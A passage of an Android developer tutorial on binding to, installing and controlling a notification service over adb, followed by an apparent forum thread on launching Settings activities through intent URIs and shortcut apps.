As it was described above, the notifications could be send using the Handler object’s post() method call. The NotificaionRunnable object is passed as the method’s parameter.
On the client side we can request IBinder object and work with it as with the INotifyService interface. To connect to the service the android.content.ServiceConnection interface implementation can be used. Two methods should be defined: onServiceConnected, onServiceDisconnected:
Code:
01.ServiceConnection conn = null;
02.…
03.conn = new ServiceConnection()
04.{
05. public void onServiceConnected(ComponentName name, IBinder service)
06. {
07. Log.d("NotifyTest", "onServiceConnected");
08. INotifyService s = (INotifyService) service;
09. try
10. {
11. s.sendNotification("Hello");
12. }
13. catch (RemoteException ex)
14. {
15. Log.d("NotifyTest", "Cannot send notification", ex);
16. }
17. }
18.
19. public void onServiceDisconnected(ComponentName name)
20. {
21. }
22.};
The bindService method can be called from the client Activity context to connect to the service:
1. Context.bindService(new Intent(this, NotifyService.class),
2.conn, Context.BIND_AUTO_CREATE);
The unbindService method can be called from the client Activity context to disconnect from the service:
1.Context.unbindService(conn);
1.3 Remote service control
Broadcasts are the way applications and system components can communicate. Also we can use broadcasts to control service from the PC. The messages are sent as Intents, and the system handles dispatching them, including starting receivers.
Intents can be broadcasted to BroadcastReceivers, allowing messaging between applications. By registering a BroadcastReceiver in application’s AndroidManifest.xml (using <receiver> tag) you can have your application’s receiver class started and called whenever someone sends you a broadcast. Activity Manager uses the IntentFilters, applications register to figure out which program should be used for a given broadcast.
Let’s develop the receiver that will start and stop notify service on request. The base class android.content.BroadcastReceiver should be used for these purposes (http://developer.android.com/reference/android/content/BroadcastReceiver.html):
Code:
01.public class ServiceBroadcastReceiver extends BroadcastReceiver
02.{
03.…
04. private static String START_ACTION = "NotifyServiceStart";
05. private static String STOP_ACTION = "NotifyServiceStop";
06.…
07. public void onReceive(Context context, Intent intent)
08. {
09. …
10. String action = intent.getAction();
11. if (START_ACTION.equalsIgnoreCase(action))
12. {
13. context.startService(new Intent(context, NotifyService.class));
14. }
15. else if (STOP_ACTION.equalsIgnoreCase(action))
16. {
17. context.stopService(new Intent(context, NotifyService.class));
18. }
19.
20. }
21.}
To send broadcast from the client application we use the Context.sendBroadcast call. I will describe how to use receiver and send broadcasts from the PC in chapter 2.
1.4 Android Manifest
Every application must have an AndroidManifest.xml file in its root directory. The manifest contains essential information about the application to the Android system, the system must have this information before it can run any of the application's code. The core components of an application (its activities, services, and broadcast receivers) are activated by intents. An intent is a bundle of information (an Intent object) describing a desired action — including the data to be acted upon, the category of component that should perform the action, and other pertinent instructions. Android locates an appropriate component to respond to the intent, starts the new instance of the component if one is needed, and passes it to the Intent object.
We should describe 2 components for our service:
• NotifyService class is described in the <service> tag. It will not start on intent. So the intent filtering is not needed.
• ServiceBroadcastReceived class is described in the <receiver> tag. For the broadcast receiver the intent filter is used to select system events:
Code:
01.<application android:icon="@drawable/icon" android:label="@string/app_name">
02.…
03. <service android:enabled="true" android:name=".NotifyService"
04.android:exported="true">
05. </service>
06. <receiver android:name="ServiceBroadcastReceiver">
07. <intent-filter>
08. <action android:name="NotifyServiceStart"></action>
09. <action android:name="NotifyServiceStop"></action>
10. </intent-filter>
11. </receiver>
12.…
2. Java service remote installation and start
2.1 Service installation
Services like the other applications for the Android platform can be installed from the special package with the .apk extension. Android package contains all required binary files and the manifest.
Before installing the service from the PC we should enable the USB Debugging option in the device Settings-Applications-Development menu and then connect device to PC via the USB.
On the PC side we will use the ADB utility which is available in the Android SDK tools directory. The ADB utility supports several optional command-line arguments that provide powerful features, such as copying files to and from the device. The shell command-line argument lets you connect to the phone itself and issue rudimentary shell commands.
We will use several commands:
• Remote shell command execution: adb shell <command> <arguments>
• File send operation: adb push <local path> <remote path>
• Package installation operation: adb install <package>.apk
I’ll describe the package installation process in details. It consists of several steps which are performed by the ADB utility install command:
• First of all the .apk package file should be copied to the device. The ADB utility connects to the device and has limited “shell” user privileges. So almost all file system directories are write-protected for it. The /data/local/tmp directory is used as the temporary storage for package files. To copy package to the device use the command:
adb push NotifyService.apk /data/local/tmp
• Package installation. ADB utility uses special shell command to perform this operation. The “pm” (Package Manager?) utility is present on the Android devices. It supports several command line parameters which are described in the Appendix I. To install the package by yourself execute the remote shell command:
adb shell pm install /data/local/tmp/NotifyService.apk
• Cleanup. After the package is installed, ADB removes the temporary file stored in /data/local/tmp folder using the “rm” utility:
adb shell rm /data/local/tmp/NotifyService.apk.
• To uninstall package use the “pm” utility:
adb shell pm uninstall <package>
2.2 Remote service control
To be able to start and stop the NotifyService from the PC we can use the “am” (Activity Manager?) utility which is present on the Android device. The command line parameters are described in the Appendix II. The “am” utility can send system broadcast intents. Our service has the broadcast receiver which will be launched by the system request.
To start NotifyService we can execute remote shell command:
adb shell am broadcast –a NotifyServiceStart
To stop the NotifyService we can execute remote shell command:
adb shell am broadcast –a NotifyServiceStop
Note, that the NotifyServiceStart and NotifyServiceStop intents were described in the manifest file inside the <receiver> … <intent-filter> tag. Other requests will not start the receiver.
Appendix I. PM Usage (from Android console)
Code:
01.pm [list|path|install|uninstall]
02.pm list packages [-f]
03.pm list permission-groups
04.pm list permissions [-g] [-f] [-d] [-u] [GROUP]
05.pm path PACKAGE
06.pm install [-l] [-r] PATH
07.pm uninstall [-k] PACKAGE
08.
09.The list packages command prints all packages.
10.Use the -f option to see their associated file.
11.The list permission-groups command prints all known permission groups.
12.The list permissions command prints all known permissions, optionally
13.only those in GROUP.
14.
15.Use the -g option to organize by group.
16.Use the -f option to print all information.
17.Use the -s option for a short summary.
18.Use the -d option to only list dangerous permissions.
19.Use the -u option to list only the permissions users will see.
20.
21.The path command prints the path to the .apk of a package.
22.
23.The install command installs a package to the system. Use the -l option to
24. install the package with FORWARD_LOCK. Use the -r option to reinstall an
25.exisiting app, keeping its data.
26.The uninstall command removes a package from the system. Use the -k option
27.to keep the data and cache directories around after the package removal.
Appendix II. AM Usage (from Android console)
Code:
01.am [start|broadcast|instrument]
02.am start -D INTENT
03.am broadcast INTENT
04.am instrument [-r] [-e <ARG_NAME> <ARG_VALUE>] [-p <PROF_FILE>] [-w] <COMPONENT>
05.
06.INTENT is described with:
07. [-a <ACTION>] [-d <DATA_URI>] [-t <MIME_TYPE>]
08. [-c <CATEGORY> [-c <CATEGORY>] ...]
09. [-e|--es <EXTRA_KEY> <EXTRA_STRING_VALUE> ...]
10. [--ez <EXTRA_KEY> <EXTRA_BOOLEAN_VALUE> ...]
11. [-e|--ei <EXTRA_KEY> <EXTRA_INT_VALUE> ...]
12. [-n <COMPONENT>] [-f <FLAGS>] [<URI>]
13.
14.<h2>
Sources of the Sample Project can be downloaded at the article official page www(dot)apriorit(dot)com/our-company/dev-blog/130-development-for-android
All articles, code pieces, example project sources and other materials are the intellectual property of Apriorit Inc. and their authors.
All materials are distributed under the Creative Commons BY-NC License.
Is there a tool that will manually create a shortcut to an "Activity" if you already know the unique name of that Android activity?
An "Activity" is, essentially, a "page" inside of any Android app or the Android operating system "Settings" (which is what this question is about).
There are many shortcut-creation apps which will create a homescreen shortcut for you if you can navigate through the hundreds of Activities in seemingly random order - but this question is about MANUALLY creating the shortcut when all you know is the unique name of the Android Activity.
All the shortcut-creation apps seem to force you to pick the existing Android "Activity" out of a given (huge) list, where those lists, if you've never seen them, are horribly jumbled up (and where the search engines stink).
Shortcut Maker, by Rushikesh Kamewar (free, ad free, gsf free, rated 4.4)
Shortcut Creator, by AlexTernHome (free, ad free, gsf free, rated 4.3)
QuickShortcutMaker, by sika524 (free, ad free, gsf free, ratred 4.3)
Activity Launcher, by Adam Szalkowski (free, ad free, gsf free, rated 4.1)
Activities, by J. Cunningham (free, ad free, gsf free, rated 4.0)
And yet, sometimes you already know the unique name of the Activity, which often you can get using an app such as "Shortcut Widgets".
Shortcut Widgets (+ Inspector), by Hamed Nikbakht (free, ad free, gsf free, rated 3.7)
Trivial example:
Start "Shortcut Widgets" & press "Start inspecting" (press OK as needed)
Navigate to "Android 11 Settings > Privacy > Ads > Reset advertising ID > OK"
Return to "Shortcut Widgets" where you will see a "trace" of where you went, the latest of which should be the very last Activity (page) in Settings that you visited (which was the "Activity" for "Reset advertising ID"
Google Play services
com.google.android.gms/com.google.android.gms.ads.settings.AdsSettingsActivity
Click to expand...
Click to collapse
While that is a trivial example (because you can easily ALSO find that specific Activity in the various shortcut-creator apps), there are many times when you KNOW the unique Activity name, but you don't know how to get to that activity in the Android settings.
An example of a shortcut you might want to create based on the unique Activity name is this check on Google Location Accuracy GMS settings.
"com.google.android.gms.location.settings.LocationAccuracyActivity"
Another example might be this unique activity to check on app memory usage.
"com.android.settings.Settings$AppMemoryUsageActivity"
Maybe you want to check on app permission settings
"com.android.settings.Settings$ManageApplicationsActivity"
Or maybe you want to dive into "Apps & notifications" advanced permission settings page.
"com.android.settings.Settings$AppAndNotificationDashboardActivity"
Perhaps you want to see which apps have had their permission automatically disabled in the past 39 days due to lack of use.
"com.android.settings.Settings$SecDisabledAppsActivity"
Yet another example may be this unique activity which views notification switches.
"com.android.settings.Settings$NotificationAppListActivity"
Click to expand...
Click to collapse
In many of these situations where either you can't find the "Activity" in the shortcut-maker apps, but you KNOW the unique Activity name (perhaps gleaned from using Shortcut Widgets), you might want to manually type in that name into the homescreen shortcut, much like how you can type a "Target" into a Windows shortcut (or on Android, much like how you can type a URL manually into any homescreen URL shortcut maker app).
Website Shortcut, by Deltac Development (free, ad free, gsf free, rated 4.3)
But so far I have been unsuccessful at finding a tutorial explaining HOW to MANUALLY create a shortcut to an Android settings Activity when all you know is the unique Activity name.
My goal is to find an app that creates the shortcut by me simply typing
those unique Activity names into that app (instead of searching for them).
In my search, I also found Android "Intent" apps in addition to the shortcut creators, where they "might" help out if only I knew the proper syntax (or had good examples).
Instant Intent, by TrianguloY (free, ad free, gsf free, rated 4.7)
Intent Launcher, by Ville Valta (free, ad free, gsf free, rated 4.3)
Intent, by krow (free, ad free, gsf free, rated 4.3)
IntentTask, by Marco Stornelli (free, ad free, gsf free, rated 4.3)
Intent Viewer, by maigolab (free, ad free, gsf free, rated 2.1)
In summary, if you already know the Android "Activity" unique name, does an Android utility exist which will create a shortcut to that activity when you manually type in the name (and you use the proper syntax when you do so)?
Is there a tutorial extent which shows how to manually create a homescreen shortcut to an Android "Activity" when you know the unique name?
By way of update, I haven't been standing still in TRYING to resolve the unanswered question of how to MANUALLY create a shortcut to an Activity if all you know is the unique name of the Activity.
One of the problems with manually creating a shortcut to any given Activity (just by knowing the name of the Activity) is the syntax required is not intuitive.
To help with the syntax, here's a quick tutorial I wrote to help people get up to speed on the syntax.
Please try it out and add more examples so we can all benefit from each others' efforts.
Tutorial: Opening Android intents & activities
(working syntax & beginner examples)
All were successfully tested on my Android 11 Samsung A32 5G.
1. Install "Instant Intent" freeware, by Krow
Start "Instant Intent" & press the (+) & enter the fields specified below.
Press the airplane arrow icon to open up the specified Activity above.
(Keep in mind you can long press in History to save as a Favorite and then copy & paste for future steps.)
a. Action = ACTION.MAIN (android.intent.action.MAIN)
Package Name = com.google.android.gms
Class Name = co.g.Space
Category = CATEGORY.LAUNCHER (android.intent.category.LAUNCHER)
b. Action = ACTION.MAIN (android.intent.action.MAIN)
Package Name = com.google.android.gms
Class Name = com.google.android.gms.ads.settings.AdsSettingsActivity
Category = CATEGORY.LAUNCHER (android.intent.category.LAUNCHER)
c. Action = ACTION.MAIN (android.intent.action.MAIN)
Package Name = com.google.android.gms
Class Name = com.google.android.gms.nearby.exposurenotification.settings.SettingsActivity
Category = CATEGORY.LAUNCHER (android.intent.category.LAUNCHER)
d. Action = ACTION.MAIN (android.intent.action.MAIN)
Package Name = com.android.settings
Class Name = com.android.settings.Settings$WifiCallingSettingsActivity
Category = CATEGORY.LAUNCHER (android.intent.category.LAUNCHER)
e. Action = ACTION.MAIN (android.intent.action.MAIN)
Package Name = com.android.settings
Class Name = com.android.settings.Settings$WifiCallingSettingsActivity
Category = CATEGORY.LAUNCHER (android.intent.category.LAUNCHER)
f. Action = ACTION.MAIN (android.intent.action.MAIN)
Package Name = com.android.settings
Class Name = com.android.settings.wifi.calling.WifiCallingSuggestionActivity
Category = CATEGORY.LAUNCHER (android.intent.category.LAUNCHER)
g. Action = ACTION.MAIN (android.intent.action.MAIN)
Package Name = com.android.settings
Class Name = com.android.settings.notification.history.NotificationHistoryActivity
Category = CATEGORY.LAUNCHER (android.intent.category.LAUNCHER)
h. Action = ACTION.MAIN (android.intent.action.MAIN)
Package Name = com.android.settings
Class Name = com.android.settings.wifi.WifiStatusTest
Category = CATEGORY.LAUNCHER (android.intent.category.LAUNCHER)
i. Action = ACTION.MAIN (android.intent.action.MAIN)
Package Name = com.android.settings
Class Name = com.android.settings.Settings$SecVolumeSettingsActivity
Category = CATEGORY.LAUNCHER (android.intent.category.LAUNCHER)
j. Action = ACTION.MAIN (android.intent.action.MAIN)
Package Name = com.android.settings
Class Name = com.android.settings.Settings$WifiControlHistoryActivity
Category = CATEGORY.LAUNCHER (android.intent.category.LAUNCHER)
k. Action = ACTION.MAIN (android.intent.action.MAIN)
Package Name = com.google.android.gms
Class Name = com.google.android.gms.location.settings.LocationAccuracyActivity
Category = CATEGORY.LAUNCHER (android.intent.category.LAUNCHER)
l. Action = ACTION.MAIN (android.intent.action.MAIN)
Package Name = com.android.settings
Class Name = com.android.settings.accessibility.AccessibilitySettingsForSetupWizardActivity
Category = CATEGORY.LAUNCHER (android.intent.category.LAUNCHER)
m. Action = ACTION.MAIN (android.intent.action.MAIN)
Package Name = com.android.settings
Class Name = com.android.settings/com.android.settings.Settings$AppMemoryUsageActivity
Category = CATEGORY.LAUNCHER (android.intent.category.LAUNCHER)
2. Copy any of those syntactically correct URI examples above to your clipboard.
a. intent:#intent;action=android.intent.action.MAIN;category=android.intent.category.LAUNCHER;package=com.google.android.gms;component=com.google.android.gms/co.g.Space;end
b. intent:#intent;action=android.intent.action.MAIN;category=android.intent.category.LAUNCHER;package=com.google.android.gms;component=com.google.android.gms/.ads.settings.AdsSettingsActivity;end
b. intent:#intent;action=android.intent.action.MAIN;category=android.intent.category.LAUNCHER;package=com.google.android.gms;component=com.google.android.gms/com.google.android.gms.ads.settings.AdsSettingsActivity;end
c. intent:#intent;action=android.intent.action.MAIN;category=android.intent.category.LAUNCHER;package=com.google.android.gms;component=com.google.android.gms/.nearby.exposurenotification.settings.SettingsActivity;end
c. intent:#intent;action=android.intent.action.MAIN;category=android.intent.category.LAUNCHER;package=com.google.android.gms;component=com.google.android.gms/com.google.android.gms.nearby.exposurenotification.settings.SettingsActivity;end
d. intent:#intent;action=android.intent.action.MAIN;category=android.intent.category.LAUNCHER;package=com.android.settings;component=com.android.settings/.Settings$WifiCallingSettingsActivity;end
d. intent:#intent;action=android.intent.action.MAIN;category=android.intent.category.LAUNCHER;package=com.android.settings;component=com.android.settings/com.android.settings.Settings$WifiCallingSettingsActivity;end
e. intent:#intent;action=android.intent.action.MAIN;category=android.intent.category.LAUNCHER;package=com.android.settings;component=com.android.settings/.Settings%24WifiCallingSettingsActivity;end
f. intent:#intent;action=android.intent.action.MAIN;category=android.intent.category.LAUNCHER;package=com.android.settings;component=com.android.settings/.wifi.calling.WifiCallingSuggestionActivity;end
g. intent:#intent;action=android.intent.action.MAIN;category=android.intent.category.LAUNCHER;package=com.android.settings;component=com.android.settings/.notification.history.NotificationHistoryActivity;end
g. intent:#intent;action=android.intent.action.MAIN;category=android.intent.category.LAUNCHER;package=com.android.settings;component=com.android.settings/com.android.settings.notification.history.NotificationHistoryActivity;end
h. intent:#intent;action=android.intent.action.MAIN;category=android.intent.category.LAUNCHER;package=com.android.settings;component=com.android.settings/com.android.settings.wifi.WifiStatusTest;end
i. intent:#intent;action=android.intent.action.MAIN;category=android.intent.category.LAUNCHER;package=com.android.settings;component=com.android.settings/com.android.settings.Settings$SecVolumeSettingsActivity;end
j. intent:#intent;action=android.intent.action.MAIN;category=android.intent.category.LAUNCHER;package=com.android.settings;component=com.android.settings/com.android.settings.Settings$WifiControlHistoryActivity;end
k. intent:#intent;action=android.intent.action.MAIN;category=android.intent.category.LAUNCHER;package=com.google.android.gms;component=com.google.android.gms/com.google.android.gms.location.settings.LocationAccuracyActivity;end
l. intent:#intent;action=android.intent.action.MAIN;category=android.intent.category.LAUNCHER;package=com.android.settings;component=com.android.settings/com.android.settings.accessibility.AccessibilitySettingsForSetupWizardActivity;end
m. intent:#intent;action=android.intent.action.MAIN;category=android.intent.category.LAUNCHER;package=com.android.settings;component=com.android.settings/com.android.settings.Settings$AppMemoryUsageActivity;end
3. Install "Instant Intent" freeware, by TrianguloY
<https://github.com/TrianguloY/intent>
<https://play.google.com/store/apps/details?id=com.trianguloy.instantintent>
4. Start "Instant Intent" & paste any URI above & press "Open Intent".
Each of those examples above should open up the specified Activity below.
a. Google Play services storage (Settings > Apps > Google Play Services > Storage > Manage Storage)
b. Ads (Settings > Privacy > Ads)
c. Exposure Notifications (Settings > Google > Covid-19 Exposure Notifications)
d. Wi-Fi calling (afaik this is a hidden Activity unavailable to users via a menu)
e. Wi-Fi calling (afaik this is a hidden Activity unavailable to users via a menu)
f. Wi-Fi calling (afaik this is a hidden Activity unavailable to users via a menu)
g. Notification history (Settings > Notifications > Advanced settings > Notification history)
h. WiFi Status (afaik this is a hidden Activity unavailable to users via a menu)
i. Volume (Settings > Sounds and vibration > Volume)
j. Wi-Fi control history (afaik this is a hidden Activity unavailable to users via a menu)
k. Improve Google Location Accuracy (Settings > Location > Google Location Accuracy)
l. Vision Settings (afaik this is a hidden Activity unavailable to users via a menu)
m. Memory usage (afaik this is a hidden Activity unavailable to users via a menu)
Optional:
5. Test by running these commands inside F-Droid Termux on Android.
a. am start -n com.google.android.gms/co.g.Space
b. am start -n com.google.android.gms/.ads.settings.AdsSettingsActivity
c. am start -n com.google.android.gms/.nearby.exposurenotification.settings.SettingsActivity
d. am start -n com.android.settings/.Settings\$WifiCallingSettingsActivity
e. am start -n 'com.android.settings/.Settings$WifiCallingSettingsActivity'
f. am start -n com.android.settings/.wifi.calling.WifiCallingSuggestionActivity
g. am start -n com.android.settings/.notification.history.NotificationHistoryActivity
h. am start -n com.android.settings/com.android.settings.wifi.WifiStatusTest
i. am start -n com.android.settings/com.android.settings.Settings\$SecVolumeSettingsActivity
j. am start -n com.android.settings/com.android.settings.Settings\$WifiControlHistoryActivity
k. am start -n com.google.android.gms/com.google.android.gms.location.settings.LocationAccuracyActivity
l. am start -n com.android.settings/com.android.settings.accessibility.AccessibilitySettingsForSetupWizardActivity
m. am start -n com.android.settings/com.android.settings.Settings\$AppMemoryUsageActivity
6. Test by opening the same Activities using adb on a Windows PC.
a. adb shell am start -n com.google.android.gms/co.g.Space
b. adb shell am start -n com.google.android.gms/.ads.settings.AdsSettingsActivity
c. adb shell am start -n com.google.android.gms/.nearby.exposurenotification.settings.SettingsActivity
d. adb shell am start -n com.android.settings/.Settings\$WifiCallingSettingsActivity
e. adb shell am start -n 'com.android.settings/.Settings$WifiCallingSettingsActivity'
f. adb shell am start -n com.android.settings/.wifi.calling.WifiCallingSuggestionActivity
g. adb shell am start -n com.android.settings/.notification.history.NotificationHistoryActivity
h. adb shell am start -n com.android.settings/com.android.settings.wifi.WifiStatusTest
i. adb shell am start -n com.android.settings/com.android.settings.Settings\$SecVolumeSettingsActivity
j. adb shell am start -n com.android.settings/com.android.settings.Settings\$WifiControlHistoryActivity
k. adb shell am start -n com.google.android.gms/com.google.android.gms.location.settings.LocationAccuracyActivity
l. adb shell am start -n com.android.settings/com.android.settings.accessibility.AccessibilitySettingsForSetupWizardActivity
m. adb shell am start -n com.android.settings/com.android.settings.Settings\$AppMemoryUsageActivity
Please test and report how these examples work on your Android device. Also please add additional examples you may find useful.
Most importantly, if you can find an app that creates these shortcuts, (from just the information above, without pulling it from a listing) please let all of us know as soon as you create your first shortcut.
To my knowledge, NOBODY on the Internet knows the answer to this question (but let's hope that isn't true).
I am trying to do the same thing, because Android shortcut management just s...cks. I mean, on Windows you can duplicate shortcuts, edit them, back them up, but on Android there is no popular launcher that facilitate this.
This should be integrated in launchers. Nevertheless, creating a such app will not be to difficult. The "Create Shortcut" app is very good (simple, compatible with old Android versions, UI is not heavy), adding those features in this app or having some similar app with those features would be great.
@GalaxyA325G Starting from your instructions I was successfully able to create a shortcut to an activity on my home screen.
Here are the instructions:
Replace intent:#intent; at the beginning of your URI string with https://trianguloy.github.io/intent/#Intent;
Download the free app Shortcut To URL from the PlayStore.
Open it and input the new URI string. For the example g. in your post it would be https://trianguloy.github.io/intent/#Intent;action=android.intent.action.MAIN;category=android.intent.category.LAUNCHER;package=com.android.settings;component=com.android.settings/com.android.settings.notification.history.NotificationHistoryActivity;end
Choose a name and an icon and then press OK.
Click on the new shortcut that appeared on your homescreen.
Voilà